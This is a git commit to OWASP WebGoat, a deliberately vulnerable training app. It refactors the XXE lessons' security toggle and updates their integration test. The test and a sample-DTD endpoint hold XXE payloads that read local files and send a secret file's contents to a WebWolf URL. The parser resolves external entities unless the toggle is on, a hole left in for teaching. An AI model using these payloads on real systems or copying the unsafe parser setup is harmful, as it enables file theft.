Move enabling security to WebGoat core and add resetting the lessons.
We can use it for more lessons and showcase how to apply security directly from the source code. Resolves: #1176
This commit is contained in:
parent
705ec85f35
commit
ac4b06f11b
@ -6,57 +6,28 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
|
import lombok.RequiredArgsConstructor;
|
||||||
|
import org.owasp.webgoat.i18n.Messages;
|
||||||
|
import org.owasp.webgoat.session.WebSession;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpSession;
|
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.Date;
|
|
||||||
import java.util.Enumeration;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>SessionService class.</p>
|
|
||||||
*
|
|
||||||
* @author rlawson
|
|
||||||
* @version $Id: $Id
|
|
||||||
*/
|
|
||||||
@Controller
|
@Controller
|
||||||
|
@RequiredArgsConstructor
|
||||||
public class SessionService {
|
public class SessionService {
|
||||||
|
|
||||||
/**
|
private final WebSession webSession;
|
||||||
* Returns hints for current lesson
|
private final RestartLessonService restartLessonService;
|
||||||
*
|
private final Messages messages;
|
||||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
|
||||||
* @param request a {@link javax.servlet.http.HttpServletRequest} object.
|
@RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
|
||||||
* @return a {@link java.lang.String} object.
|
@ResponseBody
|
||||||
*/
|
public String applySecurity() {
|
||||||
@RequestMapping(path = "/service/session.mvc", produces = "application/json")
|
webSession.toggleSecurity();
|
||||||
public @ResponseBody
|
restartLessonService.restartLesson();
|
||||||
String showSession(HttpServletRequest request, HttpSession session) {
|
|
||||||
StringBuilder sb = new StringBuilder();
|
var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
|
||||||
sb.append("id").append(" = ").append(session.getId()).append("\n");
|
return messages.getMessage(msg);
|
||||||
sb.append("created").append(" = ").append(new Date(session.getCreationTime())).append("\n");
|
|
||||||
sb.append("last access").append(" = ").append(new Date(session.getLastAccessedTime())).append("\n");
|
|
||||||
sb.append("timeout (secs)").append(" = ").append(session.getMaxInactiveInterval()).append("\n");
|
|
||||||
sb.append("session from cookie?").append(" = ").append(request.isRequestedSessionIdFromCookie()).append("\n");
|
|
||||||
sb.append("session from url?").append(" = ").append(request.isRequestedSessionIdFromURL()).append("\n");
|
|
||||||
sb.append("=====================================\n");
|
|
||||||
// get attributes
|
|
||||||
List<String> attributes = new ArrayList<String>();
|
|
||||||
Enumeration keys = session.getAttributeNames();
|
|
||||||
while (keys.hasMoreElements()) {
|
|
||||||
String name = (String) keys.nextElement();
|
|
||||||
attributes.add(name);
|
|
||||||
}
|
|
||||||
Collections.sort(attributes);
|
|
||||||
for (String attribute : attributes) {
|
|
||||||
String value = session.getAttribute(attribute) + "";
|
|
||||||
sb.append(attribute).append(" = ").append(value).append("\n");
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -5,8 +5,6 @@ import org.owasp.webgoat.users.WebGoatUser;
|
|||||||
import org.springframework.security.core.context.SecurityContextHolder;
|
import org.springframework.security.core.context.SecurityContextHolder;
|
||||||
|
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.sql.Connection;
|
|
||||||
import java.sql.SQLException;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* *************************************************************************************************
|
* *************************************************************************************************
|
||||||
@ -39,9 +37,10 @@ import java.sql.SQLException;
|
|||||||
*/
|
*/
|
||||||
public class WebSession implements Serializable {
|
public class WebSession implements Serializable {
|
||||||
|
|
||||||
private static final long serialVersionUID = -4270066103101711560L;
|
private static final long serialVersionUID = -4270066103101711560L;
|
||||||
private final WebGoatUser currentUser;
|
private final WebGoatUser currentUser;
|
||||||
private Lesson currentLesson;
|
private transient Lesson currentLesson;
|
||||||
|
private boolean securityEnabled;
|
||||||
|
|
||||||
public WebSession() {
|
public WebSession() {
|
||||||
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
@ -73,4 +72,12 @@ public class WebSession implements Serializable {
|
|||||||
public String getUserName() {
|
public String getUserName() {
|
||||||
return currentUser.getUsername();
|
return currentUser.getUsername();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void toggleSecurity() {
|
||||||
|
this.securityEnabled = !this.securityEnabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isSecurityEnabled() {
|
||||||
|
return securityEnabled;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -61,3 +61,5 @@ username.size=Please use between 6 and 10 characters.
|
|||||||
username.duplicate=User already exists.
|
username.duplicate=User already exists.
|
||||||
password.size=Password should at least contain 6 characters
|
password.size=Password should at least contain 6 characters
|
||||||
password.diff=The passwords do not match.
|
password.diff=The passwords do not match.
|
||||||
|
security.enabled=Security enabled, you can try the previous challenges and see the effect!
|
||||||
|
security.disabled=Security enabled, you can try the previous challenges and see the effect!
|
||||||
|
@ -12,10 +12,14 @@ import io.restassured.http.ContentType;
|
|||||||
|
|
||||||
public class XXETest extends IntegrationTest {
|
public class XXETest extends IntegrationTest {
|
||||||
|
|
||||||
private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
|
private static final String xxe3 = """
|
||||||
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
||||||
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
|
private static final String xxe4 = """
|
||||||
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
||||||
|
private static final String dtd7 = """
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
|
||||||
|
private static final String xxe7 = """
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
|
||||||
|
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
private String webwolfFileDir;
|
private String webwolfFileDir;
|
||||||
@ -39,8 +43,13 @@ public class XXETest extends IntegrationTest {
|
|||||||
startLesson("XXE");
|
startLesson("XXE");
|
||||||
webGoatHomeDirectory = getWebGoatServerPath();
|
webGoatHomeDirectory = getWebGoatServerPath();
|
||||||
webwolfFileDir = getWebWolfServerPath();
|
webwolfFileDir = getWebWolfServerPath();
|
||||||
RestAssured.given().when().relaxedHTTPSValidation()
|
RestAssured.given()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity"));
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("service/enable-security.mvc"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200);
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
|
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
|
||||||
|
@ -83,11 +83,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
boolean secure = false;
|
Comment comment = comments.parseXml(commentStr);
|
||||||
if (null != request.getSession().getAttribute("applySecurity")) {
|
|
||||||
secure = true;
|
|
||||||
}
|
|
||||||
Comment comment = comments.parseXml(commentStr, secure);
|
|
||||||
if (CONTENTS.contains(comment.getText())) {
|
if (CONTENTS.contains(comment.getText())) {
|
||||||
comment.setText("Nice try, you need to send the file to WebWolf");
|
comment.setText("Nice try, you need to send the file to WebWolf");
|
||||||
}
|
}
|
||||||
|
@ -89,11 +89,11 @@ public class Comments {
|
|||||||
* XmlMapper bean defined above will be used automatically and the Comment class can be directly used in the
|
* XmlMapper bean defined above will be used automatically and the Comment class can be directly used in the
|
||||||
* controller method (instead of a String)
|
* controller method (instead of a String)
|
||||||
*/
|
*/
|
||||||
protected Comment parseXml(String xml, boolean secure) throws JAXBException, XMLStreamException {
|
protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {
|
||||||
var jc = JAXBContext.newInstance(Comment.class);
|
var jc = JAXBContext.newInstance(Comment.class);
|
||||||
var xif = XMLInputFactory.newInstance();
|
var xif = XMLInputFactory.newInstance();
|
||||||
|
|
||||||
if (secure) {
|
if (webSession.isSecurityEnabled()) {
|
||||||
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
||||||
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
|
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
|
||||||
}
|
}
|
||||||
|
@ -68,11 +68,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
|
|||||||
if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
|
if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
|
||||||
String error = "";
|
String error = "";
|
||||||
try {
|
try {
|
||||||
boolean secure = false;
|
Comment comment = comments.parseXml(commentStr);
|
||||||
if (null != request.getSession().getAttribute("applySecurity")) {
|
|
||||||
secure = true;
|
|
||||||
}
|
|
||||||
Comment comment = comments.parseXml(commentStr, secure);
|
|
||||||
comments.addComment(comment, false);
|
comments.addComment(comment, false);
|
||||||
if (checkSolution(comment)) {
|
if (checkSolution(comment)) {
|
||||||
attackResult = success(this).build();
|
attackResult = success(this).build();
|
||||||
|
@ -30,7 +30,6 @@ import org.owasp.webgoat.assignments.AttackResult;
|
|||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@ -66,15 +65,10 @@ public class SimpleXXE extends AssignmentEndpoint {
|
|||||||
|
|
||||||
@PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
|
@PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) throws Exception {
|
public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) {
|
||||||
String error = "";
|
String error = "";
|
||||||
try {
|
try {
|
||||||
boolean secure = false;
|
var comment = comments.parseXml(commentStr);
|
||||||
if (null != request.getSession().getAttribute("applySecurity")) {
|
|
||||||
secure = true;
|
|
||||||
}
|
|
||||||
Comment comment = comments.parseXml(commentStr, secure);
|
|
||||||
//System.err.println("Comment " + comment);
|
|
||||||
comments.addComment(comment, false);
|
comments.addComment(comment, false);
|
||||||
if (checkSolution(comment)) {
|
if (checkSolution(comment)) {
|
||||||
return success(this).build();
|
return success(this).build();
|
||||||
@ -103,21 +97,12 @@ public class SimpleXXE extends AssignmentEndpoint {
|
|||||||
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String getSampleDTDFile() {
|
public String getSampleDTDFile() {
|
||||||
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
|
return """
|
||||||
+ "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n"
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
+ "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n"
|
<!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt">
|
||||||
+ "%all;";
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>">
|
||||||
}
|
%all;
|
||||||
|
""";
|
||||||
@GetMapping(path="/xxe/applysecurity",produces=MediaType.TEXT_PLAIN_VALUE)
|
|
||||||
@ResponseBody
|
|
||||||
public String setSecurity(HttpServletRequest request) {
|
|
||||||
|
|
||||||
String applySecurity = (String) request.getSession().getAttribute("applySecurity");
|
|
||||||
if (applySecurity == null) {
|
|
||||||
request.getSession().setAttribute("applySecurity", "true");
|
|
||||||
}
|
|
||||||
return "xxe security patch is now applied, you can try the previous challenges and see the effect!";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -29,7 +29,6 @@ public class User {
|
|||||||
|
|
||||||
private String username = "";
|
private String username = "";
|
||||||
private String password = "";
|
private String password = "";
|
||||||
private String email = "";
|
|
||||||
|
|
||||||
public String getPassword() {
|
public String getPassword() {
|
||||||
return password;
|
return password;
|
||||||
@ -47,12 +46,4 @@ public class User {
|
|||||||
this.username = username;
|
this.username = username;
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getEmail() {
|
|
||||||
return email;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setEmail(String email) {
|
|
||||||
this.email = email;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -221,7 +221,7 @@
|
|||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<div class="adoc-content" th:replace="doc:XXE_static_code_analysis.adoc"></div>
|
<div class="adoc-content" th:replace="doc:XXE_static_code_analysis.adoc"></div>
|
||||||
<br/>
|
<br/>
|
||||||
<a id="submitlink" class="btn btn-primary" href="" onclick="javascript:$('#patchbutton').load('/WebGoat/xxe/applysecurity');return false;"><span id="patchbutton">Apply XXE security patch</span></a>
|
<a id="submitlink" class="btn btn-primary" href="" onclick="javascript:$('#patchbutton').load('/WebGoat/service/enable-security.mvc');return false;"><span id="patchbutton">Apply XXE security patch</span></a>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</body>
|
</body>
|
||||||
|
Loading…
x
Reference in New Issue
Block a user